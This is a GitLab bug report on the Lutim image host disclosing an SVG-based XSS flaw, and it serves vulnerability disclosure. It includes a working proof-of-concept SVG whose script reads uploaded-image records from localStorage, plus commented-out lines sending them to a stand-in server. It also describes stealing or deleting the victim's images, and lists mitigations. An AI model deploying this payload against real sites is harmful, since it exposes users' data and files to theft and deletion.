Skip to content
GitLab
Projects Groups Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • Lutim Lutim
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 29
    • Issues 29
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 3
    • Merge requests 3
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • Fiat TuxFiat Tux
  • Hat softwaresHat softwares
  • LutimLutim
  • Issues
  • #38
Closed
Open
Issue created Feb 13, 2017 by Framartin@martin.gubri

XSS vulnerability using SVG image

Lutim is vulnerable to an XSS attack using the ability of SVG to contain Javascript. This is particularly severe because the data of uploaded images are stored on localStorage.

Here is possible exploit for it:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    var files = JSON.parse(localStorage.getItem('images'));
    // var server = "https://myserver.com?url="
    files.forEach(function(element, index, array) {
        var filename = element.filename ;
        var url = element.short+'.'+element.ext ;
        alert(filename+' at URL: https://framapic.org/'+url) ;
        // var xmlHttp = new XMLHttpRequest();
        // xmlHttp.open("GET", server+url, false);
        // xmlHttp.send(null);
    });
  </script>
</svg>

How to:

  • someone open a malicious svg in the browser
  • as the svg file is hosted on the same domain name, it has access to localStorage data
  • an attacker can read the following elements for all the uploaded images by the target: filename, view url, url to delete the image, send date, expire date
  • then an attacker can send all the data on a remote server, or simply delete all the images of the target hosted on Lutim

Possible workarounds:

  • disable svg upload
  • disable the viewing of svg and force download
  • filter svg files (very complicated!)
  • convert svg into a bitmap format
  • disable localStorage (which will leave possible other XSS)

Source: https://www.grepular.com/Scalable_Vector_Graphics_and_XSS

Assignee
Assign to
Time tracking